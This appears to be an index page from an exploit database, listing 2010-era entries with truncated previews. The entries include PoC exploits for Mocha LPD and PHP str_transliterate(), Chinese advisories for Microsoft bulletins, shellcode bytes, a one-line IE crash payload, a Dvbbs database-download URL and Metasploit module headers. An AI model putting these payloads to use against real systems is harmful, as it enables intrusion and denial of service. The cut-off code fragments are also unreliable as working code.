Mocha LPD 1.9 - Remote Buffer Overflow (Denial of Service) (PoC)

!/usr/bin/python Mocha LPD v1.9 Remote Heap Overflow Exploit ol skool 'write 4' whoops, I said it was a DoS. My bad. btw yes, I know its 2010 :0 CVE: 2010-1687 tested on XP sp1 use anti debugging to see it work - !hidedebug zwqueryinformationprocess call trace: ntdll.RtlAllocateHeap Called...

PHP 6.0 Dev str_transliterate() Buffer Overflow

whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; // 6EE52650 ADDRESS TO BE PATCHED BY WPM $ptw = "\u2FE0\u6EE5"; // 6EE52FE0...

Microsoft Windows MP3音频解码器栈溢出漏洞（MS10-026）

BUGTRAQ ID: 39303 CVE ID: CVE-2010-0480 Microsoft Windows是微软发布的非常流行的操作系统。 Windows中所使用的MP3编码解码器处理AVI媒体文件的方式中存在栈溢出漏洞。如果用户打开包含MP3音频流的特制的AVI文件，此漏洞可能允许远程执行代码。如果用户使用管理用户权限登录，成功利用此漏洞的攻击者便可完全控制受影响的系统。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP2 Microsoft Windows Vista SP...

PHP 6.0 Dev str_transliterate() Buffer overflow - NX + ASLR Bypass

Exploit for windows platform in category local exploits ================================================================== PHP 6.0 Dev strtransliterate Buffer overflow - NX + ASLR Bypass ================================================================== whoami whoami nt authority\system /...

PHP 6.0 Dev - str_transliterate() Local Buffer Overflow (NX + ASLR Bypass)

PHP 6.0 Dev - strtransliterate Local Buffer Overflow NX + ASLR Bypass whoami whoami nt authority\system / errorreporting0; $bases = $GET'poss'; $basee = $GET'pose'; $offs = $GET'offs'; $offe = $GET'offe'; ifinigetbool'unicode.semantics' $buff = strrepeat"\u4141", 32; $tbp = "\u2650\u6EE5"; //...

MS10-019: Description of the security update for Windows Authenticode Signature Verification: April 13, 2010

None None...

Microsoft IE竞争条件远程代码执行漏洞（MS10-018）

BUGTRAQ ID: 39026 CVE ID: CVE-2010-0489 Internet Explorer是Windows操作系统中默认捆绑的web浏览器。 由于竞争条件，Internet Explorer访问已被破坏对象的方式存在远程代码执行漏洞。攻击者可以通过构建特制的网页来利用该漏洞，当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer...

Microsoft Virtual PC Hypervisor Virtual Machine Bypass Vulnerability

Exploit for windows platform in category local exploits ===================================================================================== Microsoft Virtual PC Hypervisor Virtual Machine Monitor Security Bypass Vulnerability...

Windows Server 2003 Enterprise Edition SP1 ita calc.exe shellcode 36 bytes

Windows XP Professional SP2 calc.exe 36字节溢出漏洞同时存在于Windows Server 2003 Enterprise Edition SP1 中。 Windows Server 2003 Enterprise Edition SP1 请关注微软最新公告 include stdio.h include string.h char liscker = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"...

CVE-2010-0262

CVE-2010-0262 describes a remote code execution vulnerability in Microsoft Office Excel stemming from an uninitialized memory access in the FNGROUPNAME record during parsing of Excel files. The issue could let an attacker execute arbitrary code with the privileges of the user who opens a crafted ...

CVE-2010-0262

Microsoft Office Excel 2007 SP1 and SP2 and Office 2004 for Mac do not properly parse the Excel file format, which allows remote attackers to execute arbitrary code via a crafted spreadsheet that triggers access of an uninitialized stack variable, aka "Microsoft Office Excel FNGROUPNAME Record...

Microsoft Windows内核双重释放本地权限提升漏洞（MS10-015）

BUGTRAQ ID: 38044 CVECAN ID: CVE-2010-0233 Microsoft Windows是微软发布的非常流行的操作系统。 当释放内存时，Windows内核没有正确地重置指针，导致内核中出现双重释放的情况。成功利用此漏洞的攻击者可以运行任意内核态代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP2 Microsoft Windows Vista SP1 Microsoft...

Buffer overflow

Buffer overflow in Trend Micro URL Filtering Engine TMUFE in OfficeScan 8.0 before SP1 Patch 5 - Build 3510, possibly tmufeng.dll before 3.0.0.1029, allows attackers to cause a denial of service crash or OfficeScan hang via unspecified vectors. NOTE: it is likely that this issue also affects...

Microsoft IE 6&7 Crash Exploit

Securitylab.ir Application Info: Name: Microsoft IE Version: 6 & 7 Tested on : XPSP1/SP2/SP3 Vulnerability Info: Type: Crash Risk: Medium Vulnerability: IE.html scriptdocument.createElement"html".outerHTML/script Discoverd By: Pouya Daneshmand Website: http://securitylab.ir Contacts:...

Re: Powered By Dvbbs Version 7.1.0 Sp1 By Pass

By : Hasadya Raed Contact : Raed at BsdMail dot Com email concealed Israel -------------------------- Script : Dvbbs Version 7.1.0 Sp1 Dork : "Powered By Dvbbs Version 7.1.0 Sp1" -------------------------- Exploit : http://www.victim.com/Data/Dvbbs7.mdb...

Microsoft RRAS Service Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Microsoft RR...

BigAnt Server 2.50 SP1 Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'BigAnt Serve...

CA BrightStor Universal Agent Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'CA BrightSto...

GoodTech Telnet Server <= 5.0.6 Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'GoodTech...

Microsoft IIS 5.0 IDQ Path Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Microsoft II...